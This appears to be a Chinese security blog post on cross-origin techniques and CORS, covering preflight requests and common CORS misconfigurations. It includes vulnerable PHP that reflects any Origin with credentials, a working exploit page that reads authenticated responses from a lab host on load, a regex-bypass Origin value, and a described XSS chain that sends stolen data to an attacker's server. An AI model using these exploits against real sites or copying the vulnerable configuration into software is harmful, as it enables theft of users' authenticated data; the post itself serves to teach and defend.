来源

和jsonp一样都是为了解决跨域问题出现的,但是cors比jsonp的功能更多,不仅仅支持GET访问,其他访问方法都支持。

其他的跨域访问方式

jsonp

以前写过一篇文章,jsonp的一些安全问题

domain

MDN上是这么介绍的:

​ 指定 cookie 可以送达的主机名。假如没有指定,那么默认值为当前文档访问地址中的主机部分(但是不包含子域名)。与之前的规范不同的是,域名之前的点号会被忽略。假如指定了域名,那么相当于各个子域名也包含在内了。

用例子翻译一下这段话

domain就是设置cookie作用域的一个东西

1
Set-Cookie: <cookie-name>=<cookie-value>;

这里没有设置domain,默认就是当前访问的域名,比如www.exp.com,那么cookie就对www.exp.com 有效,对asd.www.exp.com是无效的

1
Set-Cookie: <cookie-name>=<cookie-value>; Domain=exp.com

这种情况下,对于exp.com的所有子域,域名是都生效的;再比如设置成www.exp.com ,那么对于qwe.www.exp.com也是有效的,在旧的浏览器中,需要一个. 来设置所有子域名

document.domain 获取当前域名

1

并且document.domain也可以用来设置域名,给他赋一个值

2

可以看到这个域名的赋值是有限制的,只能赋值当前域名和他的子域

所以通过domain来设置cookie的作用域只能在不同的子域进行设置

比如

abc.exp.com要获取123.exp.com 中的一个资源,那么可以在abc这个子域通过document.domain='exp.com',就可以获取到exp.com域名下的所有子域的资源

SRC

src属性是不受同源策略限制的,可以加载跨域的资源,jsonp就是利用了<script>标签的src属性,加载跨域资源

1
2
3
4
5
6
7
<script src="..."></script> 标签嵌入跨域脚本。语法错误信息只能被同源脚本中捕捉到。
<link rel="stylesheet" href="..."> 标签嵌入CSS。由于CSS的松散的语法规则,CSS的跨域需要一个设置正确的 HTTP 头部 Content-Type 。不同浏览器有不同的限制: IE, Firefox, Chrome, Safari (跳至CVE-2010-0051)部分 和 Opera。
通过 <img> 展示的图片。支持的图片格式包括PNG,JPEG,GIF,BMP,SVG,...
通过 <video> 和 <audio> 播放的多媒体资源。
通过 <object>、 <embed> 和 <applet> 嵌入的插件。
通过 @font-face 引入的字体。一些浏览器允许跨域字体( cross-origin fonts),一些需要同源字体(same-origin fonts)。
通过 <iframe> 载入的任何资源。站点可以使用 X-Frame-Options 消息头来阻止这种形式的跨域交互。

这些标签的src属性都可以加载

postMessage

跨窗口通信,不管窗口是否同源

1
window.open("http://www.p1k.com")

下面是重点

CORS

cors是HTML5中提出的一种跨域问题解决方案

浏览器的跨域过程

  1. 浏览器先根据同源策略对前端页面和后台交互地址做匹配,若同源,则直接发送数据请求;若不同源,则发送跨域请求。
  2. 服务器解析程序收到浏览器跨域请求后,根据自身配置返回对应文件头。若未配置过任何允许跨域,则文件头里不包含Access-Control-Allow-origin字段,若配置过域名,则返回Access-Control-Allow-origin+ 对应配置规则里的域名的方式
  3. 浏览器根据接受到的http文件头里的Access-Control-Allow-origin字段做匹配,若无该字段,说明不允许跨域;若有该字段,则对字段内容和当前域名做比对,如果同源,则说明可以跨域,浏览器发送该请求;若不同源,则说明该域名不可跨域,不发送请求

cors的两种请求方式

简单请求和非简单请求

  • 简单请求

    • 同时满足以下两个条件则属于简单请求

      请求方式:GET HEAD POST

      HTTP的头信息不超出以下几种字段:AcceptAccept-LanguageContent-LanguageLast-Event-ID,Content-Type只限于三个值application/x-www-form-urlencodedmultipart/form-datatext/plain

    • 简单请求的流程

      当服务器会根据响应头中的一个设置 Access-Control-Allow-Origin (ACAO)来检测请求头中的Origin是否满足标准,如果满足则将数据返回给浏览器,浏览器会根据 ACAO来把数据解析,如果当前域名和ACAO不匹配,则抛出一个CORS异常

  • 非简单请求

    请求方法可能是POST PUT DELETE;Contype-Type字段可能是application/json

    非简单请求比简单请求多一次HTTP查询,称为”预检”请求,预检请求使用的是OPTIONS方法

    • 预检请求

      浏览器先向服务器发送一次查询,询问服务器当前域名是否在许可名单中,以及可以使用那些HTTP头字段请求方法,只有在得到服务器的肯定答复以后,才会发送后面的请求(后面的流程就是简单请求)

      请求头

      1
      2
      Access-Control-Request-Method  浏览器会使用那些请求方法
      Access-Control-Request-Headers 浏览器会使用那些请求头

      响应头

      1
      2
      3
      Access-Control-Allow-Methods  服务器可以接收的请求方法
      Access-Control-Allow-Headers 服务器可以接收的请求头
      Access-Control-Allow-Credentials 设置为true,表示可以携带cookie,这个响应头可以出现在每个CORS响应中

CORS的安全问题

cors本身是安全的,不过由于开发者配置错误,依然会造成一些漏洞

No.1

最简单的一种,对Origin的来源一点验证都没有做,类似于这样

1
2
header("Access-Control-Allow-Origin: ".$_SERVER['HTTP_ORIGIN']."");
header('Access-Control-Allow-Credentials: true');//允许携带cookie

exp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<script>
function exploit() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var all = this.responseText;
document.getElementById("load").innerHTML= all;
}
};
xhttp.open("GET", "http://192.168.25.150/cors/arbitrary_origin.php", true);
xhttp.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,\/;q=0.8");
xhttp.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
xhttp.withCredentials = true;//携带cookie
xhttp.send();
}

</script>
<body onload="exploit()">

No.2

正则写的有问题

比如:allow.com

那么只要Origin中包含allow.com就可以绕过

1
2
3
4
5
6
if (isset($_SERVER['HTTP_ORIGIN']) && preg_match('#b0x.com#', $_SERVER['HTTP_ORIGIN']))
{
header("Access-Control-Allow-Origin: b0x.com");
header('Access-Control-Allow-Credentials: true');
echo "secret";
}

只需要在Origin里面加上xxxxb0x.com就好了

Origin: xxxb0x.com

浏览器接收到服务器返回的响应头,会把当前域名和ACAO进行匹配,匹配成功则继续向下进行

No.3

这次CORS没有配置错误,但是在名单中的域名出现漏洞,比如xss

存在这么几个站

resource.com 用来获取跨域资源的站点

victim.com 发起跨域请求的站点

现在resource.com 配置了CORS设置

1
Access-Control-Allow-Origin: victim.com

只接受victim.com发来的跨域请求;现在victim.com出现了xss。

可以利用victim.com的xss,向resource.com发起一个AJAX请求,把获取的资源发到攻击者的vps上

参考链接

https://blog.csdn.net/zdplife/article/details/87612915

https://wangdoc.com/javascript/bom/same-origin.html

https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy#%E8%B7%A8%E6%BA%90%E7%BD%91%E7%BB%9C%E8%AE%BF%E9%97%AE

https://segmentfault.com/a/1190000003710973